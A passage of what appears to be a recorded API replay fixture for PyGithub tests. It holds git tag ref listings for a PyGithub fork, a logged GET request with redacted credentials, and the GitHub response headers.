tags/v1.46","object":{"sha":"1ad2889dd7c38f02e2a9defbdffc7a94bb917702","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/1ad2889dd7c38f02e2a9defbdffc7a94bb917702"}},{"ref":"refs/tags/v1.47","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQ3","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.47","object":{"sha":"b2dfea37fa29a55c6776ce27d59cde80dc37dfbb","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/b2dfea37fa29a55c6776ce27d59cde80dc37dfbb"}},{"ref":"refs/tags/v2.0.0-alpha.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYyLjAuMC1hbHBoYS4x","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v2.0.0-alpha.1","object":{"sha":"2850936b585ce136c97d3efbfa2643844c308b05","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/2850936b585ce136c97d3efbfa2643844c308b05"}},{"ref":"refs/tags/v2.0.0-alpha.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYyLjAuMC1hbHBoYS4y","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v2.0.0-alpha.2","object":{"sha":"473e70ca294bf3835e3e8cbdc3410d43aa2dff17","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/473e70ca294bf3835e3e8cbdc3410d43aa2dff17"}},{"ref":"refs/tags/v2.0.0.-alpha.3","node_id":"MDM6UmVmMjU1MzU1MTYwOnYyLjAuMC4tYWxwaGEuMw==","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v2.0.0.-alpha.3","object":{"sha":"94a223016b49d47b2b26fc786deff39603b539f4","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/94a223016b49d47b2b26fc786deff39603b539f4"}},{"ref":"refs/tags/v2.0.0-alpha.4","node_id":"MDM6UmVmMjU1MzU1MTYwOnYyLjAuMC1hbHBoYS40","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v2.0.0-alpha.4","object":{"sha":"f821d77e87e4a8114184db05b00eee462a0ebdf1","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/f821d77e87e4a8114184db05b00eee462a0ebdf1"}},{"ref":"refs/tags/1.35","node_id":"MDM6UmVmMjU1MzU1MTYwOjEuMzU=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/1.35","object":{"sha":"19310e77e3279080998e2ff230d19e6fe0743528","type":"commit","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits/19310e77e3279080998e2ff230d19e6fe0743528"}}] https GET api.github.com None /repos/FlorentClarret/PyGithub/git/matching-refs/tags {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 16 Apr 2020 20:02:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4921'), ('X-RateLimit-Reset', '1587068140'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"32f41b63919b120eee35ef9a2bbd8062"'), ('Last-Modified', 'Mon, 13 Apr 2020 14:45:20 GMT'), ('X-Poll-Interval', '300'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '87EA:29EAD:1D89F98:22D2F61:5E98B9E5')] [{"ref":"refs/tags/v0.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.1","object":{"sha":"fc28301862c0118b88cc94da678fb5104b249370","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/fc28301862c0118b88cc94da678fb5104b249370"}},{"ref":"refs/tags/v0.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.2","object":{"sha":"48cabc0fc3b1a9767d6f0db9f6058f24681cada7","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/48cabc0fc3b1a9767d6f0db9f6058f24681cada7"}},{"ref":"refs/tags/v0.3","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjM=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.3","object":{"sha":"4870747f5faf15ba38ece8211283ef87b25679c1","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/4870747f5faf15ba38ece8211283ef87b25679c1"}},{"ref":"refs/tags/v0.4","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjQ=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.4","object":{"sha":"26fb28983636cb4773acb5581f4a443cd0aef808","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/26fb28983636cb4773acb5581f4a443cd0aef808"}},{"ref":"refs/tags/v0.5","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjU=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.5","object":{"sha":"c88b802b71cf19cfbc2e915dbb8a0e98f235a926","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/c88b802b71cf19cfbc2e915dbb8a0e98f235a926"}},{"ref":"refs/tags/v0.6","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjY=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.6","object":{"sha":"f5f37322407b02a80de4526ad88d5f188977bc3c","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/f5f37322407b02a80de4526ad88d5f188977bc3c"}},{"ref":"refs/tags/v0.7","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjc=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.7","object":{"sha":"78ca479ac54294dabd16a6644bbe5e013fabf183","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/78ca479ac54294dabd16a6644bbe5e013fabf183"}},{"ref":"refs/tags/v1.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.0","object":{"sha":"8bcae35db2ac5678c291d0fa489a18779af6ba81","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/8bcae35db2ac5678c291d0fa489a18779af6ba81"}},{"ref":"refs/tags/v1.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.1","object":{"sha":"3d3dd63439c9bf004701b81c424393bb47221ab8","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/3d3dd63439c9bf004701b81c424393bb47221ab8"}},{"ref":"refs/tags/v1.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.2","object":{"sha":"5d2fe09d780075ca09d8b3e41360742339ffbddd","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/5d2fe09d780075ca09d8b3e41360742339ffbddd"}},{"ref":"refs/tags/v1.3","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.3","object":{"sha":"f5c7ed9165712cbf6a4532f6909f7042046f65ba","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/f5c7ed9165712cbf6a4532f6909f7042046f65ba"}},{"ref":"refs/tags/v1.4","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQ=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.4","object":{"sha":"ec8db4b6b507df9db4b54addb3beb21cc1fa7ee0","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/ec8db4b6b507df9db4b54addb3beb21cc1fa7ee0"}},{"ref":"refs/tags/v1.5","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjU=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.5","object":{"sha":"e885b6bb1885c07842fe54f7d36cac8b4d3de5d1","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/e885b6bb1885c07842fe54f7d36cac8b4d3de5d1"}},{"ref":"refs/tags/v1.6","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjY=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.6","object":{"sha":"6924d6646f9578d065222b24582139fb40b5e89e","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/6924d6646f9578d065222b24582139fb40b5e89e"}},{"ref":"refs/tags/v1.7","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjc=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.7","object":{"sha":"d89fa5be707125f4cf5c3c12461bfd9c15dd844b","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/d89fa5be707125f4cf5c3c12461bfd9c15dd844b"}},{"ref":"refs/tags/v1.8.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjguMA==","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.8.0","object":{"sha":"953d09d63c1a4131bc5c03a299a05115521f5f0e","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/953d09d63c1a4131bc5c03a299a05115521f5f0e"}},{"ref":"refs/tags/v1.8.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjguMQ==","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.8.1","object":{"sha":"684716187df9aced842d00aeb0c69a9e54aefa2f","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/684716187df9aced842d00aeb0c69a9e54aefa2f"}},{"ref":"refs/tags/v1.9.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjkuMA==","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.9.0","object":{"sha":"c7c3cd5a4605855edb5356191159d4836762bb88","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/c7c3cd5a4605855edb5356191159d4836762bb88"}},{"ref":"refs/tags/v1.9.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjkuMQ==","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.9.1","object":{"sha":"5605aa0b295cda8ec06c5842145a35f59596d954","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/5605aa0b295cda8ec06c5842145a35f59596d954"}},{"ref":"refs/tags/v1.10.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjEwLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.10.0","object":{"sha":"22e1edf6746fbf0aafb67880101d9b05f33cead2","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/22e1edf6746fbf0aafb67880101d9b05f33cead2"}},{"ref":"refs/tags/v1.11.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjExLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.11.0","object":{"sha":"8845a579160bff915b67a6facfacdfe479668d8e","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/8845a579160bff915b67a6facfacdfe479668d8e"}},{"ref":"refs/tags/v1.11.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjExLjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.11.1","object":{"sha":"146e9bf90620bfc519a19a2ff859999cb99873f2","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/146e9bf90620bfc519a19a2ff859999cb99873f2"}},{"ref":"refs/tags/v1.12.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjEyLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.12.0","object":{"sha":"fa31d8f8785b6d79d1a870f097422a40956ab209","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/fa31d8f8785b6d79d1a870f097422a40956ab209"}},{"ref":"refs/tags/v1.12.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjEyLjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.12.1","object":{"sha":"435bd89ce3993894a9f5f468522cacbca1cad389","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/435bd89ce3993894a9f5f468522cacbca1cad389"}},{"ref":"refs/tags/v1.12.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjEyLjI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.12.2","object":{"sha":"4114332a0ed5b205a569fe75808321216d363753","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/4114332a0ed5b205a569fe75808321216d363753"}},{"ref":"refs/tags/v1.13.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjEzLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.13.0","object":{"sha":"5b1b6ea6d63e6557ed2167ea204a867bc715af47","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/5b1b6ea6d63e6557ed2167ea204a867bc715af47"}},{"ref":"refs/tags/v1.13.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjEzLjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.13.1","object":{"sha":"46b80131026c6338f04863feb62747c1073d8ec2","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/46b80131026c6338f04863feb62747c1073d8ec2"}},{"ref":"refs/tags/v1.14.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE0LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.14.0","object":{"sha":"ae0118a152f331cda95b9d5187c74a3e543e55e5","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/ae0118a152f331cda95b9d5187c74a3e543e55e5"}},{"ref":"refs/tags/v1.14.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE0LjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.14.1","object":{"sha":"46a509e20f972db2c72279be87fc1bb37cabf7e1","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/46a509e20f972db2c72279be87fc1bb37cabf7e1"}},{"ref":"refs/tags/v1.14.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE0LjI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.14.2","object":{"sha":"81ba5b8a9445e6f81f142eb460611144f7671d49","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/81ba5b8a9445e6f81f142eb460611144f7671d49"}},{"ref":"refs/tags/v1.15.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE1LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.15.0","object":{"sha":"12ac52f43fdb0e3ce2744382408504c6921794b6","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/12ac52f43fdb0e3ce2744382408504c6921794b6"}},{"ref":"refs/tags/v1.16.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE2LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.16.0","object":{"sha":"21cebaaf3b0fd8d9181d130ff05126810d0a39af","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/21cebaaf3b0fd8d9181d130ff05126810d0a39af"}},{"ref":"refs/tags/v1.17.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE3LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.17.0","object":{"sha":"a08db4387b1294359e283f2a5c2c79584e23450f","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/a08db4387b1294359e283f2a5c2c79584e23450f"}},{"ref":"refs/tags/v1.18.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE4LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.18.0","object":{"sha":"8088a1f24bc867d298553ee227f672c27b05a05f","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/8088a1f24bc867d298553ee227f672c27b05a05f"}},{"ref":"refs/tags/v1.19.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE5LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.19.0","object":{"sha":"602126a0ec95fa8bca0e24d5a171b359b4001d24","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/602126a0ec95fa8bca0e24d5a171b359b4001d24"}},{"ref":"refs/tags/v1.20.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjIwLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.20.0","object":{"sha":"e1c23bc9fa47b52b13a1858faba4b90c8e89e79a","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/e1c23bc9fa47b52b13a1858faba4b90c8e89e79a"}},{"ref":"refs/tags/v1.21.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjIxLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.21.0","object":{"sha":"5eb08f2df7062e413806f201b73b7700913234e8","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/5eb08f2df7062e413806f201b73b7700913234e8"}},{"ref":"refs/tags/v1.22.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjIyLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.22.0","object":{"sha":"8b4b9729615ab49e9e96f8d06694e773c61271c5","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/8b4b9729615ab49e9e96f8d06694e773c61271c5"}},{"ref":"refs/tags/v1.23.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjIzLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.23.0","object":{"sha":"59f350dd23b402b4055f4d28268b2e79e1340b8b","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/59f350dd23b402b4055f4d28268b2e79e1340b8b"}},{"ref":"refs/tags/v1.24.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI0LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.24.0","object":{"sha":"ed6cc2535c90678530c1dab623007871803ab1c9","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/ed6cc2535c90678530c1dab623007871803ab1c9"}},{"ref":"refs/tags/v1.24.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI0LjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.24.1","object":{"sha":"fcc13d123fb52767e48ae7fe1610a3030f290892","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/fcc13d123fb52767e48ae7fe1610a3030f290892"}},{"ref":"refs/tags/v1.25.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI1LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.25.0","object":{"sha":"1f9f8c034f87fc3c094579b0fa580ada00e15895","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/1f9f8c034f87fc3c094579b0fa580ada00e15895"}},{"ref":"refs/tags/v1.25.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI1LjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.25.1","object":{"sha":"b54d9d8e32d9348da7771772c2c9f26a624762b5","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/b54d9d8e32d9348da7771772c2c9f26a624762b5"}},{"ref":"refs/tags/v1.25.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI1LjI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.25.2","object":{"sha":"41a3d4a362ac4beb05077feaec288a49e69f7b52","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/41a3d4a362ac4beb05077feaec288a49e69f7b52"}},{"ref":"refs/tags/v1.26.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI2LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.26.0","object":{"sha":"c73b4d0f0f124c1313551891306bc533eed1aa74","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/c73b4d0f0f124c1313551891306bc533eed1aa74"}},{"ref":"refs/tags/v1.27.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI3LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.27.0","object":{"sha":"e3824433cf8353c12656834a76d093da1d696cba","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/e3824433cf8353c12656834a76d093da1d696cba"}},{"ref":"refs/tags/v1.27.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI3LjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.27.1","object":{"sha":"d25bbdc371235300c6499e13448bcf953b2721ba","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/d25bbdc371235300c6499e13448bcf953b2721ba"}},{"ref":"refs/tags/v1.28","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI4","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.28","object":{"sha":"b3fef2eadb8a220098e5fc3e35c4eef6e098b491","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/b3fef2eadb8a220098e5fc3e35c4eef6e098b491"}},{"ref":"refs/tags/v1.29","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI5","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.29","object":{"sha":"f0379d64ffd2173e3a7ffe91584fc05a04b25956","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/f0379d64ffd2173e3a7ffe91584fc05a04b25956"}},{"ref":"refs/tags/v1.30","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjMw","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.30","object":{"sha":"0a75af570d85f68c95049e8258b711e92f814b39","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/0a75af570d85f68c95049e8258b711e92f814b39"}},{"ref":"refs/tags/v1.31","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjMx","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.31","object":{"sha":"2defb8920e3b2d379e9e6227911a10268a368d78","type":"commit","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits/2defb8920e3b2d379e9e6227911a10268a368d78"}},{"ref":"refs/tags/v1.32","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjMy","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.32","object":{"sha":"414f6e648f4da87f10bae7d01948a63dc82b80f8","type":"commit","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits/414f6e648f4da87f10bae7d01948a63dc82b80f8"}},{"ref":"refs/tags/v1.33","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjMz","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.33","object":{"sha":"00dd970d78b181bb8dead5f62595a6005134bd4a","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/00dd970d78b181bb8dead5f62595a6005134bd4a"}},{"ref":"refs/tags/v1.34","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM0","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.34","object":{"sha":"6345bf49c6520f8d9a56d4fc61e023b826a5b3e3","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/6345bf49c6520f8d9a56d4fc61e023b826a5b3e3"}},{"ref":"refs/tags/v1.35","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM1","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.35","object":{"sha":"19310e77e3279080998e2ff230d19e6fe0743528","type":"commit","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits/19310e77e3279080998e2ff230d19e6fe0743528"}},{"ref":"refs/tags/v1.36","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM2","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.36","object":{"sha":"58465a86fedd99cf4f5f66e05ea779ee73d8f8e2","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/58465a86fedd99cf4f5f66e05ea779ee73d8f8e2"}},{"ref":"refs/tags/v1.37","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM3","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.37","object":{"sha":"2380ac8da1d00d24d18a37bcdf4a99a146ada72b","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/2380ac8da1d00d24d18a37bcdf4a99a146ada72b"}},{"ref":"refs/tags/v1.38","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM4","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.38","object":{"sha":"1c127d4bd983a80a872e8cc8ce3dd739ab4e0945","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/1c127d4bd983a80a872e8cc8ce3dd739ab4e0945"}},{"ref":"refs/tags/v1.39","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM5","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.39","object":{"sha":"5dc520d2ee8fc3e56fcd8d2a3135a36458f28f42","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/5dc520d2ee8fc3e56fcd8d2a3135a36458f28f42"}},{"ref":"refs/tags/v1.40a1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQwYTE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.40a1","object":{"sha":"b2eeef26ffc131301edd11a676c8dc0321b19995","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/b2eeef26ffc131301edd11a676c8dc0321b19995"}},{"ref":"refs/tags/v1.40a2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQwYTI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.40a2","object":{"sha":"fc72fd3b8615369a7b772155c51db5f766ff7773","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/fc72fd3b8615369a7b772155c51db5f766ff7773"}},{"ref":"refs/tags/v1.40a3","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQwYTM=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.40a3","object":{"sha":"6348fca2dd70988383d56933c88ac3c531a742f2","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/6348fca2dd70988383d56933c88ac3c531a742f2"}},{"ref":"refs/tags/v1.40a4","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQwYTQ=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.40a4","object":{"sha":"63cc05ec419bc3f510a7109e684efb36e22768cb","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/63cc05ec419bc3f510a7109e684efb36e22768cb"}},{"ref":"refs/tags/v1.40","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQw","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.40","object":{"sha":"827cc68cf2b91808d936aee78ce2d2e9cb9794a4","type":"tag","url":"https: